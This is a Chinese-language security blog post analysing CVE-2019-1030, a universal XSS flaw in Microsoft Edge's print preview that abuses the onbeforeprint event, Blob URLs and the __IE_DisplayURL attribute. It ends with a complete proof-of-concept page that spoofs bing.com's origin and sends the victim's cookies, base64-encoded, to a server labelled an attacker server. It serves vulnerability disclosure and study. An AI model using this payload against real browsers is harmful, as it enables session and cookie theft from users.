Microsoft Edge浏览器的Universal XSS漏洞分析(CVE-2019-1030)
作者:互联网
birdpwn 嘶吼专业版
UXSS漏洞是浏览器漏洞中非常容易利用的一种漏洞,它能够在网站执行Javascript代码,这就像是在所有网站上都有一个XSS的漏洞。更有趣的是我发现这个漏洞的方式,通常的uXSS漏洞都是与IFRAME元素有关或者和URL有关系,但我没想到我居然发现了一个使用'print()'函数的uXSS漏洞。
0x01 打印预览上下文
看一下Edge显示打印预览窗口会发生什么,打印的页面会被复制到一个临时位置并重新渲染, 当'print()'函数在页面中执行时,可以在Process Monitor中看到以下文件系统活动:
在Edge临时目录中创建了一个文件,该文件的内容是我们尝试打印的原始页面的略微修改版本。
比较一下看看,打印前:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<iframe src="https://www.bing.com/?q=example"></iframe>
<script>
qbutt.onclick=e=>{
window.print();
}
</script>
</body>
</html>
打印后:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><META
content="text/html; charset=utf-8" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com:777/printExample.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <IFRAME src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></IFRAME>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
</SCRIPT>
</BODY></HTML>
我们可以从这个比较中发现一些区别:
1. Javascript代码被编码了。
2. IFRAME指向同一目录中的另一个本地文件,该文件包含原始bing.com引用的源代码。
3. HTML元素具有 '__IE_DisplayURL'特殊属性。
我做了一些测试,首先试着看看是否仍然可以在编码后获得有效的Javascript,希望可以执行Javascript代码。但事实证明,任何来自script元素内的Javascript代码,无论是有效还是无效,都不会被执行。
可以使用CSS '@media print{}'函数和CSS选择器来提供操作系统用户名,以便从生成的IFRAME href值中获取操作系统用户名。
我发现打印预览上下文依赖于这个属性来知道文档的来源,因为Edge本质上是在'file:'URI方案中打开文件。
但是我们怎么能利用这个属性呢?
0x02 在打印预览中执行Javascript代码
就像我之前说的那样,来自普通SCRIPT标签的任何Javascript都将被阻止或被忽略。
但是其他载体呢?我发现了'onbeforeprint'`,使用它能够注入指向任何网站的IFRAME。所以我马上尝试注入一个指向Javascript URL的IFRAME!特定的Javascript是在打印预览上下文中执行的。
Javascript注入测试:
<!doctype html>
<html>
<head>
<title>Printer Button</title>
</head>
<body>
<button id="qbutt">Print!</button>
<div id="qcontent"></div>
<script>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</script>
</body>
</html>
打印预览转换后:
<!DOCTYPE HTML>
<!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><META
content="text/html; charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="http://q.leucosite.com/dl.html">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer
Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <DIV
id="qcontent"><IFRAME src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></IFRAME></DIV>
<SCRIPT>
qbutt.onclick=e=>{
window.print();
}
window.onbeforeprint=function(e){
qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`;
}
</SCRIPT>
</BODY></HTML>
现在只是让Javascript执行了,由于该属性,任何请求或API都将被视为来自原始文档。
0x03 发现uXSS漏洞
现在已经执行了Javascript,需要以某种方式自定义构建打印预览文档,然后可以模仿选择的任何网站,从而触发uXSS漏洞。 我发现使用Blob URL能够实现这一点!所以我创建了自己的打印文档,其自定义属性指向我的目标网站(在本例中为'bing.com'),它包含一个Javascript IFRAME,它将像'bing.com'本身一样执行。 我注入了以下Javascript代码:
if (top.location.protocol == 'file:') {
setTimeout(function() {
top.location = URL.createObjectURL(new Blob([top.document.getElementById('qd').value], {
type: 'text/html'
}))
}, 1000)
}
其中'top.document.getElementById('qd'),value'是以下伪造的“打印文档”:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
读出'document.cookie'并将其发送到服务器。
总结一下漏洞利用的步骤:
1. 使用'onbeforeprint'事件,在打印之前插入一个指向我的Javascript payload的IFRAME。
2. 调用window.print()来发起请求。
3. Edge显示打印预览窗口,同时渲染注入的Javascript 代码。
4. 注入的Javascript创建了一个Blob URL,其中包含我自定义的'bing.com'打印文档,并将顶部框架重定向到此URL。
5. 打印预览上下文被欺骗认为我的Blob URL的内容是合法的打印文档,并通过该'__IE_DisplayURL'属性将文档原点设置为'bing.com' 。
6. 假打印文档包含另一个Javascript IFRAME,只显示'document.cookie''bing.com'。
7. uXSS漏洞利用成功了!
0x04 PoC和利用演示
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<head>
<style>iframe{width:300px;height:300px;}</style>
</head>
<body>
<!-- -----------------------------HTML for our blob------------------------------------ -->
<textarea id="qd">
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML
__IE_DisplayURL="https://www.bing.com/"><HEAD><META content="text/html;
charset=windows-1252" http-equiv=Content-Type>
<BASE HREF="https://www.bing.com/">
<STYLE> HTML { font-family : "Times New Roman" } </STYLE>
<STYLE>iframe {
width: 300px; height: 300px;
}
</STYLE>
</HEAD><BODY>
<iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie">
</BODY></HTML>
</textarea>
<!-- ---------------------------------------------------------------------------- -->
<script>
var qdiv=document.createElement('div');
document.body.appendChild(qdiv);
window.onbeforeprint=function(e){
qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createObjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`;
}
window.print();
</script>
<style>
</style>
</body>
</html>注:本文参考自leucosite.com
标签:XSS,打印,Universal,Javascript,window,Edge,print,document,com 来源: https://blog.51cto.com/u_15127538/2702457